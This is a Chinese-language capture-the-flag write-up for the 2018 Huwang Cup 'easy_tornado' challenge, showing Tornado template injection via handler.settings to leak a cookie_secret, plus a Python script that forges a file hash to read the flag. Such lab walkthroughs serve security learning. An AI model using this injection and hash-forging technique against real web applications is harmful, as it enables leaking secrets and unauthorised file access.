[护网杯 2018]easy_tornado
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[护网杯 2018]easy_tornado相关的知识,希望对你有一定的参考价值。
考点
tornado模板注入
思路
以此访问题目给的三个链接,分别得到
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
根据
/welcome.txt
提示,猜测是模板注入
利用得到的secret,计算访问flag文件的hash,获取flag
Payload
测试发现存在过滤
tornado模板中,存在一些可以访问的快速对象,这里用到的是
handler.settings
,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,得到
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '2e40dcc5-b62d-452b-ade2-0e621b325b4b'}
根据
/hints.txt
提示,用得到的cookie_secret
构造filehash
的值
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="2e40dcc5-b62d-452b-ade2-0e621b325b4b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
访问 url:
http://f951d4e1-e621-43e6-a630-53bf20583b3b.node4.buuoj.cn/file?filename=/fllllllllllllag&filehash=ea49ff2dff1424b9e05e39cd2c28f750
获得flag
以上是关于[护网杯 2018]easy_tornado的主要内容,如果未能解决你的问题,请参考以下文章
护网杯 2018 easy_tornado 1BUUCFT模板注入